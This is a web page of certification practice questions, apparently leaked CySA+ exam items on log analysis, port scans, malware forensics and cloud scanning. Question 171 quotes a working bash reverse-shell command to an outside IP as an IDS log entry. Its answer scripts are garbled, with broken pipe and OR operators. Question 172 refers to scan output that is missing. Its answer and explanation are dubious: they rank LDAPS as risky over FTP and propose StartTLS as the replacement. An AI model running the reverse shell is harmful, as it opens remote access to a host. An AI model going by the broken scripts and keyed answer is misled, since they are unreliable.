Instant Access CuramSoftware.CS0-003.v2025-06-04.q180 Actual Practice Test Engine for Free (Page 36)

Question 171

A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A.#!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
B.#!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
C.#!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
D.#!/bin/bash
netstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

Question 172

A security audit for unsecured network services was conducted, and the following output was generated:

Which of the following services should the security team investigate further? (Select two).

A.21
B.22
C.23
D.636
E.1723
F.3389

Correct Answer: C,D

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices1 The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.
Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.
Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host23 Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.
Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362

Question 173

A systems administrator needs to gather security events with repeatable patterns from Linux log files. Which of the following would the administrator most likely use for this task?

A.A regular expression in Bash
B.Filters in the vi editor
C.Variables in a PowerShell script
D.A playbook in a SOAR tool

Question 174

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on it infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause?
(Select two).

A.Creation time of dropper
B.Registry artifacts
C.EDR data
D.Prefetch files
E.File system metadata
F.Sysmon event log

Question 175

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

A.The current scanners should be migrated to the cloud
B.Cloud-specific misconfigurations may not be detected by the current scanners
C.Existing vulnerability scanners cannot scan laaS systems
D.Vulnerability scans on cloud environments should be performed from the cloud

Question 171

Question 172

Question 173

Question 174

Question 175

Download PDF File